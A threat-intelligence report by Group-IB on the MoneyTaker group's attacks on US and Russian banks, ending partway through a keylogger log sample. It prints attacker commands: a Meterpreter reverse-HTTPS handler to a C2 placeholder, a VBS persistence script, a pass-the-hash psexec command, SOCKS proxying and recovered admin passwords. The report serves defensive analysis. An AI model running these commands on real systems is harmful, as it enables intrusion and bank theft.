# MoneyTaker #### 1.5 YEARS OF SILENT OPERATIONS ###### December 2017 www.group-ib.com ----- 1.5 YEARS OF SILENT OPERATIONS 2 ### TABLE OF CONTENTS ###### Summary 3 Attack infrastructure 7 Provision of the malware survivability 11 Propagation across the network 12 Spying on legitimate users 15 Attack on AWS CBR 19 Potential attacks on SWIFT 25 Attack on card processing 26 Using banking Trojans 27 Using POS Trojans 28 Recommendations 29 Indicators of compromise 31 ----- 1.5 YEARS OF SILENT OPERATIONS 3 ###### 01 ### SUMMARY From May 2016 to November 2017, at least 20 organisations were attacked in the United States, UK and Russia. At least one of the US banks was successfully robbed twice. In addition to money, attackers stole documentation related to the interbank payment systems, which appear to have been obtained to prepare further attacks. Based on analysis of these incidents, attack tools and the tactics applied, we have concluded that the same group, which Group-IB has dubbed MoneyTaker (after the malware used) is behind these attacks. It is interesting to note that despite the effectiveness of the attacks, they have gone completely unreported till now. ###### Targets - In total Group-IB has confirmed at least 20 companies as victims of the MoneyTaker group, 16 of which are located in the US. The vast majority of them are small community banks, where hackers attacked card processing systems. The average damage from each successful attack was 500,000 USD baseline. - Criminals stole documentation for OceanSystems’ FedLink card processing system, which is used by 200 banks in Latin America and the US. We believe that banks operating on this infrastructure are at risk of being amongst the next targets of MoneyTaker group. - In Russia, they focus on attacks on the system of interbank transfers AWS CBR (Russian Interbank payment system). The average amount of damage caused by this theft scheme is 1.2 million USD per incident. That said, the affected banks managed to return some portion of the stolen money. ###### Tools and tactics
 Attackers use both borrowed and their own self-written tools. When attacking, hackers act creatively and wisely: they use «onetime» infrastructure and carefully erase traces of their activity post-incident. Infiltration - To penetrate the corporate network, the group uses legitimate pen testing tools - Metasploit and PowerShell Empire. - After successful infection, they carefully erase malware traces. However, when investigating one of the incidents, we managed to discover the initial point of compromise: hackers penetrated the bank’s internal network by gaining access to the home computer of the bank’s system administrator. Stealthy techniques - The group uses ‘fileless’ malware which only exists in RAM and is removed on rebooting. ----- 1.5 YEARS OF SILENT OPERATIONS 4 - To protect C&C communications from being detected by security teams, hackers employ SSL certificates generated using names of well-known brands: Bank of America, Federal Reserve Bank, Microsoft, Yahoo, etc. - Servers used to perform initial infection are one-time components which are changed immediately after a successful infection. Attack tools Members of the group are skilled enough to promptly adjust the tools applied. In some cases, they made changes to the source code ‘on the fly’ - during the attack. Created tools Borrowed tools MoneyTaker 5.0 - malicious program Metasploit and PowerShell Empire for auto replacement of payment data in AWS CBR ‘Screenshotter’ and ‘keylogger’ to Privilege escalation tools, whose code conduct espionage and capture were demonstrated as a Proof of Concept keystrokes at ZeroNights cybersecurity conference in Moscow in 2016. More data provided later in this report Moneytaker ‘Auto-replacement’ Citadel and Kronos Banking Trojans. The program to substitute payment details latter one was used to deliver a Point-of-Sale in the interbank transfer system (POS) malware dubbed ScanPOS ###### Tracking the attacks - Servers used to conduct the attacks were specifically configured to deliver the malicious payload to a predetermined list of IP addresses belonging to the target company. This methodology was employed by attackers to prevent the payload from falling into the hands of security analysts and experts. - After each round of attacks, hackers deploy new infrastructure for network persistence. - In detected incidents, criminals used a program that should have carefully removed all components of the programs applied. However, due to an error made by the developer, the data were not deleted from the attacked machines, which enabled forensic experts to learn details of the hackers’ activity. |Created tools|Borrowed tools| |---|---| |MoneyTaker 5.0 - malicious program for auto replacement of payment data in AWS CBR|Metasploit and PowerShell Empire| |‘Screenshotter’ and ‘keylogger’ to conduct espionage and capture keystrokes|Privilege escalation tools, whose code were demonstrated as a Proof of Concept at ZeroNights cybersecurity conference in Moscow in 2016. More data provided later in this report| |Moneytaker ‘Auto-replacement’ program to substitute payment details in the interbank transfer system|Citadel and Kronos Banking Trojans. The latter one was used to deliver a Point-of-Sale (POS) malware dubbed ScanPOS| ----- 1.5 YEARS OF SILENT OPERATIONS 5 ###### Interrelations between incidents In 1.5 years, Group-IB confirmed 20 incidents in total. Initially we divided these incidents into three groups and considered them as separate. However, through in-depth investigation of the infrastructure, tools, and tactics applied, which will be further covered in this report, we have concluded that one group is behind all these attacks – MoneyTaker. This is supported by technical analysis provided later in this report: |Group 1|Group 2|Group 3| |---|---|---| |17 incidents in US and UK organizations. In the majority of instances, hackers used the same C&C server to control the initial part of their attacks. In some cases, we saw a similar use of the infrastructure from which remote connections were performed using LogMeIn.|2 incidents occurred in Russia in the autumn of 2016. The two attacks occurred at the same time; in both cases Meterpreter was used to attack the same target – servers of the Russian interbank transfer system (AWS CBR).|1 incident in Russia in the autumn of 2017. The attack was conducted on the AWS CBR using Meterpreter.| |Common features of Groups 1-3 • Metasploit used to infiltrate corporate networks • SSL certificates generated using popular brands to protect traffic between Meterpreter and C&C • Russian-speaking attackers • Own developers who create unique tools • Modification of the malicious code during attack • Covering tracks of the initial infection vector • Setting up forwarding corporate emails to Yandex and Mail.ru, free mail services.||| ||Common features of Groups 2 and 3 • Originally targeted AWS CBR in Russia • Using domains in the .ga zone • Similar manner of propagation across the network. • The same hosting service used in the incidents in 2016 and 2017|| |Common features of Groups 1 and 2 In both groups of incidents, UltraVNC 1.1.9.4 was used. This version was available back in 2013. The current version of this remote access tool was 1.2.0.6 at the time of attacks in Russia and the US.||| ----- 1.5 YEARS OF SILENT OPERATIONS 6 **Software & service** **provider, UK** **US Financial Services Provider** **(Breach not confirmed)** **Bank, Russia** **Bank, USA** **Bank,Russia** **First Data STAR** **AWS CBR** ##### 2016 JANUARY FEBRUARY MARCH APRIL MAY JUNE JULY AUGUST SEPTEMBER OCTOBER NOVEMBER DECEMBER **Bank, USA, UT** **Bank, USA, NY** **Bank, USA, VA** **Bank, USA, CO** **Bank, USA, FL** **Bank, USA, SC** **Credit Union, USA** **Bank, Russia** **Bank, USA, IL** **Bank, USA, IL** **AWS CBR** **Bank, USA, WI** **Bank, USA, OK** ##### 2017 JANUARY FEBRUARY MARCH APRIL MAY JUNE JULY AUGUST SEPTEMBER OCTOBER NOVEMBER DECEMBER **Bank, USA, MO** **Bank, USA, CA** **Law Firm, USA, NC** **Bank, USA, CA** ###### Timeline of initial infections in attacks: - The very first attack, which Group-IB attributes to MoneyTaker was conducted in the spring of 2016, when funds were stolen from a US bank by gaining access to First Data’s STAR card processing system. - In September 2016, Group-IB tracked several attacks on banks in Russia. The main target was the AWS CBR (Automated Work Station Client of the Russian Central Bank), a Russian interbank fund transfer system similar to SWIFT. After a successful theft from one of the attacked banks, the incidents stopped, similar to the case of theft in the United States. - In November 2016, attackers deployed new infrastructure, which was then used to attack banks in the United States. The last activity in this wave of attacks was tracked in June 2017. - In November 2017, we observed a new successful attack by this group in Russia. Like in 2016, they managed to steal funds through the interbank transfers system. ----- 1.5 YEARS OF SILENT OPERATIONS 7 ###### 02 ### ATTACK INFRASTRUCTURE To conduct targeted attacks, hackers use a distributed infrastructure that is difficult to track. A rather unique feature of the infrastructure is the presence of a Persistence server, which delivers the payload only to real victims whose IP addresses are added to the whitelist. ###### 1 Stager request payload 2 Payload **Pentest framework** **and backconnect** **server** **Setup encrypted tunnel** ###### 3 **with backconnect** ###### VICTIM **Request stager** ###### 4 **after reboot** **Persistence server** **Response with stager** **(response to** **5** **whitelisted IPs)** **if IP in whitelist** ###### Pentest framework server This server is used to perform the main activity. On it, hackers install a legitimate tool for penetration testing - Metasploit to further control the full attack. ----- 1.5 YEARS OF SILENT OPERATIONS 8 Name SHA256 Type asys.exe 6ce7c4cb9e51116a4565e9b2e129335a4d23cfc51a32080aa9f25689cb1c6ef2 Meterpreter launch-paranoidf98b0220a11b57e3c812e7f86f5e5c3f8bbdb5d5ce9dc7b721e28a7f28ecb1ef Meterpreter stageless3.exe msc.exe, msc3.exe 0b778857bbc4ec36020d021f475ff90550134beb9506c53071652421e10ddfff Meterpreter msc4.exe 53c789565821b6eb64bd7f002e38b8259bde3bbbb39798c82657b2b5d59bcd9f Meterpreter msc5.exe 98fb846df3687b3c9c7fa66f39d6c70948e8330489be7c787e1f2c3b23f8d205 Meterpreter msc6.exe 92afe22f494a849345b18d2b302e71a4336871a7956795a7188280e4c7bd8607 Meterpreter msc7.exe 73b8ed8f14ec2260ae332603f723a5eb0a52c4c997454904e3d5ff254a27a6e6 Meterpreter cmd.exe 7eef88e4b0d5ad549d18629f4491088d5d328d7bcaab8ce68216a331b284d43f Meterpreter stager mencstager.exe 7eef88e4b0d5ad549d18629f4491088d5d328d7bcaab8ce68216a331b284d43f Meterpreter stager msdefender.bat 8cfeb71eaaa3df217e15a449bc4656841b58a4737760d956b1c8e6039cff61e6 Meterpreter stager se.vbs ff999c968bce81987cab47a02a3b176042489d82644d4c6fb13d5c8c1244cbcc Meterpreter stager rc4.dll 8a0be0a97ba19d4498b58365d36ba5461039e41f73bbd745b15b80fc21e38c3f Meterpreter stager rc4.exe a7035c20c32ad4cd1cc76b211f6258fc5858e4bc43031d04e3655b38b666c0c4 Meterpreter stager rc4.hta 72ee03b51544002df3e25d1a730e650389bdbd5f1cff91488ed9e05944b3cb52 Meterpreter stager proxystager.bat 3a163bb0a8abe244815836a05fab48b640ec537bd76c92b7857db18657d2a774 Meterpreter stager ps.bat 9e9149ae6092c4a5bd4cb36cf40ec660e3ee10e76834340bf1234186315ca808 Meterpreter stager When the payload (Meterpreter) runs on a compromised host, it initiates outbound SSL connections which helps to avoid detection of suspicious connections by network security systems. Below is code executed within the Metasploit console by the attacker: |Name|SHA256|Type| |---|---|---| |asys.exe|6ce7c4cb9e51116a4565e9b2e129335a4d23cfc51a32080aa9f25689cb1c6ef2|Meterpreter| |launch-paranoid- stageless3.exe|f98b0220a11b57e3c812e7f86f5e5c3f8bbdb5d5ce9dc7b721e28a7f28ecb1ef|Meterpreter| |msc.exe, msc3.exe|0b778857bbc4ec36020d021f475ff90550134beb9506c53071652421e10ddfff|Meterpreter| |msc4.exe|53c789565821b6eb64bd7f002e38b8259bde3bbbb39798c82657b2b5d59bcd9f|Meterpreter| |msc5.exe|98fb846df3687b3c9c7fa66f39d6c70948e8330489be7c787e1f2c3b23f8d205|Meterpreter| |msc6.exe|92afe22f494a849345b18d2b302e71a4336871a7956795a7188280e4c7bd8607|Meterpreter| |msc7.exe|73b8ed8f14ec2260ae332603f723a5eb0a52c4c997454904e3d5ff254a27a6e6|Meterpreter| |cmd.exe|7eef88e4b0d5ad549d18629f4491088d5d328d7bcaab8ce68216a331b284d43f|Meterpreter stager| |mencstager.exe|7eef88e4b0d5ad549d18629f4491088d5d328d7bcaab8ce68216a331b284d43f|Meterpreter stager| |msdefender.bat|8cfeb71eaaa3df217e15a449bc4656841b58a4737760d956b1c8e6039cff61e6|Meterpreter stager| |se.vbs|ff999c968bce81987cab47a02a3b176042489d82644d4c6fb13d5c8c1244cbcc|Meterpreter stager| |rc4.dll|8a0be0a97ba19d4498b58365d36ba5461039e41f73bbd745b15b80fc21e38c3f|Meterpreter stager| |rc4.exe|a7035c20c32ad4cd1cc76b211f6258fc5858e4bc43031d04e3655b38b666c0c4|Meterpreter stager| |rc4.hta|72ee03b51544002df3e25d1a730e650389bdbd5f1cff91488ed9e05944b3cb52|Meterpreter stager| |proxystager.bat|3a163bb0a8abe244815836a05fab48b640ec537bd76c92b7857db18657d2a774|Meterpreter stager| |ps.bat|9e9149ae6092c4a5bd4cb36cf40ec660e3ee10e76834340bf1234186315ca808|Meterpreter stager| ``` use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse _ https set LHOST _ c2serverIP _ set LPORT 443 set HandlerSSLCert /root/.msf4/loot/20161031010327 _ default _ 46.228.47.114 _ www.yahoo.com _ pe _ 399345.pem set StagerVerifySSLCert true set EnableStageEncoding true set StageEncoder x86/shikata _ ga _ nai set ExitOnSession false ``` By default, Metasploit generates self-signed SSL certificates and specifies random values in the following fields: Valid from, Valid till, Common name. Such certificates can also cause suspicion. ----- 1.5 YEARS OF SILENT OPERATIONS 9 In order to avoid detection, the MoneyTaker group generates selfsigned SSL certificates before the attack, indicating the names of popular brands in the fields, instead of filling them out randomly. Group-IB specialists have discovered the use of the following certificates: SSL fingerprint IP, where SSL was used 8b7fa4ef88a303bb47240c9b8012c80507074f2e 83.220.172.71 37.46.133.190 c29d79df9b5416fd416c31e57cd525dfc23a8f66 172.86.121.11 b3dd855fc1b32757bde5c9f737808f150d6f57e6 146.185.243.19 98cbe44e1a30448a3ff6be38e8b277ae189f9b45 82.146.54.5 5fe7f5924ee2382dbfa5c8bdc6d04f0ff5d9273a 188.120.235.201 188.120.230.218 5922a06f03f6464921462c07842afb18da1577e9 188.120.230.235 7aa02d827609e0b6b3dca6d0ef82fe3a1fbe1d67 185.141.25.222 ###### Persistence server Hackers try to stay as inconspicuous as possible, and therefore they use ‘fileless’ malware which only exists in RAM and is destroyed after reboot. That said, PowerShell and VBS scripts help them to ensure persistence in the system. Scripts provide the following benefits for attackers: - Malicious scripts are hard to detect by means of antivirus protection. Writing a signature for a script without false positives is much more difficult than a binary file. - Scripts are easy to modify, which makes it easier for attackers to work. - It is easy to ensure persistence. Typically, such scripts are stored in the registry or are called when certain events occur through Windows Management Instrumentation (WMI), Group Policy Objects (GPOs), Scheduled task. Such scripts are very simple and usually their main task is to download the main program from an external or local source and run it. |Issuer|SSL fingerprint|IP, where SSL was used| |---|---|---| |MetaBank LTD|8b7fa4ef88a303bb47240c9b8012c80507074f2e|83.220.172.71| |Yahoo Inc.|c29d79df9b5416fd416c31e57cd525dfc23a8f66|37.46.133.190 172.86.121.11| |Fiserv Inc|b3dd855fc1b32757bde5c9f737808f150d6f57e6|146.185.243.19| |Microsoft Ltd|98cbe44e1a30448a3ff6be38e8b277ae189f9b45|82.146.54.5| |Federal Reserve Bank|5fe7f5924ee2382dbfa5c8bdc6d04f0ff5d9273a|188.120.235.201| |Bank of America|5922a06f03f6464921462c07842afb18da1577e9|188.120.230.218 188.120.230.235| |VMware|7aa02d827609e0b6b3dca6d0ef82fe3a1fbe1d67|185.141.25.222| ----- 1.5 YEARS OF SILENT OPERATIONS 10 The Persistence server is used to force a malicious file to be launched if the attacked computer has been rebooted. A distinctive feature of this group is the use of a separate server for this goal. On the server, they run a script that performs two checks: 1. Checks if the User-agent field is equal to WinHttp. If it is not equal, requests are sent back to the web server with a 404 error code (page not found). If equal to WinHttp, it performs the second check. 2. Checks if the IP address from which the request is made is on the white list. If yes, then the malicious file mencstager.exe is delivered. If not, rundll32.exe is transferred. 51138beea3e2c21e c44d0932c71762a8 – a legitimate Windows file. This verification complicates investigative activity of researchers who cannot get the malicious file because they try to download it from an IP address that is not on the white list. ----- 1.5 YEARS OF SILENT OPERATIONS 11 ### PROVISION OF THE MALWARE SURVIVABILITY ###### 03 Unlike other groups conducting targeted attacks, MoneyTaker uses standard techniques to provide malware survivability in the system. Researchers have not managed to recover the full picture of the incidents that occurred in the autumn of 2016 in Russia, because tracks of successful attacks were carefully removed. However, Group-IB has discovered that hackers infiltrated the network of a Russian bank by gaining access to the home computer of the bank’s system administrator. One of the methods to ensure malware survivability in the system was the creation of services using .bat scripts that launched the VNC server. The contents of the at1.bat file: ``` «c:\Program Files\Cisco Systems\VPN Client\hostsec32.exe» -install «Host Security Server» ``` The contents of the at2.bat file: ``` «c:\Program Files\Cisco Systems\VPN Client\hostsec32.exe» -uninstall «host security server» ``` These batch files were called from Windows Task Scheduler. In US incidents, the attacker used VBS scripts that created a link named «Task Scheduler» for a specific user in the startup to launch the malicious file. ``` Set oWS = WScript.CreateObject(«WScript.Shell») sLinkFile = «C:\Users\<%username%>\AppData\Roaming\Microsoft\ Windows\Start Menu\Programs\Startup\taskhost.lnk» Set oLink = oWS.CreateShortcut(sLinkFile) oLink.TargetPath = «C:\Users\<%username%>\AppData\Local\ Temp\taskhost.exe» ‘ oLink.Arguments = «» ‘ oLink.Description = «Task Scheduler» ‘ oLink.HotKey = «ALT+CTRL+F» ‘ oLink.IconLocation = «C:\Users\<%username%>\AppData\Local\ Temp\taskhost.exe, 2» ‘ oLink.WindowStyle = «1» ‘ oLink.WorkingDirectory = «C:\Users\<%username%>\AppData\ Local\Temp» oLink.Save ``` ----- 1.5 YEARS OF SILENT OPERATIONS 12 ###### 04 ### PROPAGATION ACROSS THE NETWORK After successfully infecting one of the computers and gaining initial access to the system, the attacker performs reconnaissance of the local network in order to gain domain administrator privileges and eventually consolidate control over the network. Hackers use the Metasploit tool to conduct network reconnaissance, search for vulnerable applications, exploit vulnerabilities, escalate systems privileges, and collect information. ###### Gaining admin privileges To escalate privileges up to the local administrator (or “SYSTEM” local user), attackers use exploit modules from the standard Metasploit pack, or exploits designed to bypass the UAC technology. With local administrator privileges they can use the Mimikatz program, which is loaded into the memory using Meterpreter, to extract unencrypted Windows credentials. In addition to the standard modules from the Metasploit pack, the following tools are used to escalate privileges: Name MD5 Type ASLRSideChannelAttack.exe 9a82aa5af19fa0a6167f87ee500856d53690c92c8c6449af54d8e5d33cf8bff4 LPE Win10x64 cve.bat 7ff092853c15b51315414939c165ea9bce1f920d2d99e570d747ee7fc9fa734a BAT LPE executor cve.exe 98b6f9172ca273deef324f032a8e992b6e6ca3c6542449a48246b3646b6c8cb6 cve-2016-7255 cve-2016-7255.exe 5ec6a6c9a7233a7ff68d989d830a2249e94a2784e69d5c8a593d3345da14a6b5 cve-2016-7255 cve-2016-7255test.exe df69966d721193e2315723dd71636b93cc76b38cfa046dce45d7aec4856f4bee cve-2016-7255 It is interesting to analyze the ASLRSideChannelAttack.exe file. It was compiled on October 23, 2016 based on codes presented at the Russian conference ZeroNights 2016. The codes are available online at https://github.com/IOActive/I-know-where-your-pagelives. |Name|MD5|Type| |---|---|---| |ASLRSideChannelAttack.exe|9a82aa5af19fa0a6167f87ee500856d53690c92c8c6449af54d8e5d33cf8bff4|LPE Win10x64| |cve.bat|7ff092853c15b51315414939c165ea9bce1f920d2d99e570d747ee7fc9fa734a|BAT LPE executor| |cve.exe|98b6f9172ca273deef324f032a8e992b6e6ca3c6542449a48246b3646b6c8cb6|cve-2016-7255| |cve-2016-7255.exe|5ec6a6c9a7233a7ff68d989d830a2249e94a2784e69d5c8a593d3345da14a6b5|cve-2016-7255| |cve-2016-7255test.exe|df69966d721193e2315723dd71636b93cc76b38cfa046dce45d7aec4856f4bee|cve-2016-7255| ----- 1.5 YEARS OF SILENT OPERATIONS 13 In addition, they actively searched for passwords stored in Active Directory group policies by exploiting the MS14-025 vulnerability and the corresponding Metasploit module (post/windows/gather/ credentials/gpp). After receiving group policy files, the attacker decrypted the passwords that were stored there and used them on other workstations. In some cases, passwords of bank systems’ accounts granting local administrator privileges were very weak. Here is an example of domain administrator passwords that attackers recovered: Encrypted value of the password field Decrypted password Uj80N3lMoEtnIXIP+dTzzBK/2/mALyumPkQaj9249KY Wrongpassword1 n8rOHPvtmB1j24AV7EYclWS6DgQWaoQkfqzOZVlBLzI System321 Using the Metasploit modules with the functionality of dumping Windows local users’ password hashes stored in the Security Accounts Manager (hashdump or smart_hashdump modules), hackers received the local administrator’s NTLM hash, as well as the NTLM hash and unencrypted password for domain users. ###### Propagation across the network To get the list of computers in Active Directory, hackers often use a PowerShell script named allpc.ps1, which was copied from this discussion in October 2015: https://serverfault.com/questions/732681/export-simple-list-of-allcomputers-in-multiple-ous-in-ad To propagate across the network, hackers used a legitimate tool psexec, which is typical for network administrators. This tool creates a local service via SMB/RPC protocol, then executes and deletes it. In the service properties, the required command is set to start. The attacker used two methods to distribute the payload: they placed executable files in the network folder, and forced the attacked computers to start them, or indicated the shell code directly in the service start line. For passwords that were received as an NTLM hash and were not decrypted, the Pass-the-hash technique was used, which allows using an NTLM hash for authentication without password. To do this, the same legitimate Metasploit’s psexec modules were used without any modification. |User name|Encrypted value of the password field|Decrypted password| |---|---|---| |Administrator|Uj80N3lMoEtnIXIP+dTzzBK/2/mALyumPkQaj9249KY|Wrongpassword1| |Administrator|n8rOHPvtmB1j24AV7EYclWS6DgQWaoQkfqzOZVlBLzI|System321| ----- 1.5 YEARS OF SILENT OPERATIONS 14 ``` use auxiliary/admin/smb/psexec _ command set COMMAND start \\\\10.1.5.35\\tmp\\msc7.exe set RHOSTS 10.1.5.35 set SMBUser Administrator set SMBPass aad3b435b51404eeaad3b435b51404ee:23cec95759ea5880 adf1794f475c23cd set SMBDomain WORKGROUP ``` After gaining access to new systems, attackers repeated the above-mentioned procedure to collect passwords. ###### Remote access Until October 2017, hackers remotely accessed systems of interest using standard Metasploit tools, as well as legitimate remote access programs. On hosts where Meterpreter was launched, hackers set up a SOCKS proxy server, which allowed them to remotely send commands within the local network. To create a connection via SOCKS proxy, they primarily used ports 7080 and 1808: ``` use auxiliary/server/socks4a show options set SRVHOST _ c2serverIP _ set SRVPORT 7080 ``` In addition, they actively used various VNC clients such as Fileless VNC, VNC, UltraVNC and TightVNC Portable versions x32 and x64. In the US, they used the LogMeIn Hamachi solution for remote access. In one incident, to ensure continuous remote access, hackers gained access to the firewall, where they configured a tunnel to the C&C server. Also, to secure connections to its C&C server, hackers established an SSH tunnel using a legitimate tool - Plink. ----- 1.5 YEARS OF SILENT OPERATIONS 15 ###### 05 ### SPYING ON LEGITIMATE USERS To conduct a successful attack, hackers need to monitor legitimate activity of the victim bank’s users and financial operators to then repeat the same actions. The MoneyTaker group uses the following tools to spy on employees: - A legitimate tool NirCmd - Self-developed tools - ‘screenshotter’ and ‘keylogger’ NirCmd is a small command-line utility, with the functionality similar to psexec. It allows hackers to remotely execute various commands: write and delete values and keys in the Registry, write values into INI file, connect to a VPN network, restart windows or shut down the computer, change the created/modified date of a file, change display settings, turn off the monitor, and many more. One of the most important capabilities for attackers is taking screenshots. For example, by running the following command: ``` nircmd.exe loop 10 60000 savescreenshot c:\temp\ scr~$currdate.MM _ dd _ yyyy$-~$currtime.HH _ mm _ ss$.png ``` 10 screenshots will be taken with an interval of 60 seconds. However, this functionality was not enough for the group, therefore they created their own unique tools designed to take screenshots and capture keystrokes. |Name|MD5|Type| |---|---|---| |perfmon.exe|2049df4a5f92709bad14a7e2b8c0cfcb6ede2f71009cb3483892108 e949800e6|Dropper of Keylogger/Screenshotter| |perfmonpe.exe|ff3c84266fdba3638b9fc1a41cab87cf4021eb531954343d1a328b30 7b586ac6|Dropper of Keylogger/Screenshotter| |recycler.exe|206aec8132cbb2497553b1f2c1c40733188929bad2feb0640e99474 b327e564b|Dropper of Keylogger/Screenshotter| |xkey.exe|b2e02579cf0e9c2a57bff806b57d6b868d5d411264d38ff7ac7e6b4 7d0d2a33d|Keylogger/Screenshotter| |xkey_x86.dll|60e6652ae39ecd9314ba0e7936b41ca813737183c4eaa96dce0b4a 36a90375dd|Keylogger/Screenshotter| ----- 1.5 YEARS OF SILENT OPERATIONS 16 These programs are designed to capture keystrokes, take screenshots of the user’s desktop and get the contents from the clipboard. All this data can be stored in a file of the temporary directory. ###### Dropper This is an NSIS-packed downloader. Upon its launch it creates the following files: ``` %Temp%\datepicker-ru _ RU.js %Temp%\LEJ%2BPamplona%2BSanta.jpg ``` %Temp%\roknewsflash.css ``` %Temp%\fonts.css %Temp%\addons.css %Temp%\tracker.php %Temp%\mJ8OS5lCf8xFQQiX4F1Ei.sNXbnF1xay %Temp%\.tmp\System.dll ``` The dropper twice launches its own file as a child process. It decrypts the data buffer, which is stored in the dropper in an encrypted form, and injects it into the child process (which is launched last). That is how the payload is started. ###### Keylogger/Screenshotter - The application is compiled in Delphi. Its main form contains text field components and 5 timers. - Based on the names of components in Portuguese, we assume that either its author is Portuguese-speaking, or the campaign targets Portuguese-speaking countries (for example, Brazil) or the code is based on the source code of the Portuguese program. - Functions of the application are executed once the timer triggers (after the time interval, which is specified in this timer as the interval of the timer operation). ----- 1.5 YEARS OF SILENT OPERATIONS 17 Status at the time Timer's triggering Function Activity of the triggered timer of launch interval Timer activating enabled 10 seconds Triggers the activation timer AtivatTimer Activates the functions of the keylogger. Described Keylogger timer disabled 1 millisecond in detail below. Takes screenshots, dumps all the collected data into Data export timer disabled 5 minutes a file. Will be described below Triggers the keylogger timer and the data export Activation timer disabled 1 millisecond timer; disables the activation timer (itself) Triggers the keylogger timer, and the data export Deactivation timer disabled 1 millisecond timer; disables the deactivation timer (itself) - Timers’ names mean that one of them is used to activate network functions (InternetTimer), another one is used to send data (EnviarTimer). However, in fact they perform other activity. Instead of activating the network functions, the «InternetTimer» timer simply activates another timer, and the «EnviarTimer» timer (translated as «sending timer») captures screenshots and uploads the collected data to a file in a temporary directory. This may indicate that the source code of the file, which was originally written for other purposes (including sending network data), was then slightly modified. - After the start, the application executes the TForm1. FormCreate() procedure, where it loads the necessary system dynamic libraries into the address space and looks for the addresses of the functions WinExec, GetAsyncKeyState, GetWindowTextA, GetForegroundWindow KeyloggerTimer in them. When the timer triggers, it intercepts keystrokes. It also extracts the name of the application (the window title) in which the key was pressed and the date / time of pressing. Below is an example of a record of the keylogger log. Bold marked are pressed keys or dialog box titles in which these keys were entered |Timer name|Function|Status at the time Timer's triggering Activity of the triggered timer of launch interval|Col4|Col5| |---|---|---|---|---| |InternetTimer|Timer activating AtivatTimer|enabled|10 seconds|Triggers the activation timer| |KeyloggerTimer|Keylogger timer|disabled|1 millisecond|Activates the functions of the keylogger. Described in detail below.| |EnviarTimer|Data export timer|disabled|5 minutes|Takes screenshots, dumps all the collected data into a file. Will be described below| |AtivatTimer|Activation timer|disabled|1 millisecond|Triggers the keylogger timer and the data export timer; disables the activation timer (itself)| |DesativatTimer|Deactivation timer|disabled|1 millisecond|Triggers the keylogger timer, and the data export timer; disables the deactivation timer (itself)| ``` [F2][F9]

[ Run - 2:53:54 - 11.11.2017 ]


[ OllyDbg - 1.exe - [CPU - main thread, module 1] - 2:54:25 - 11.11.2017 ]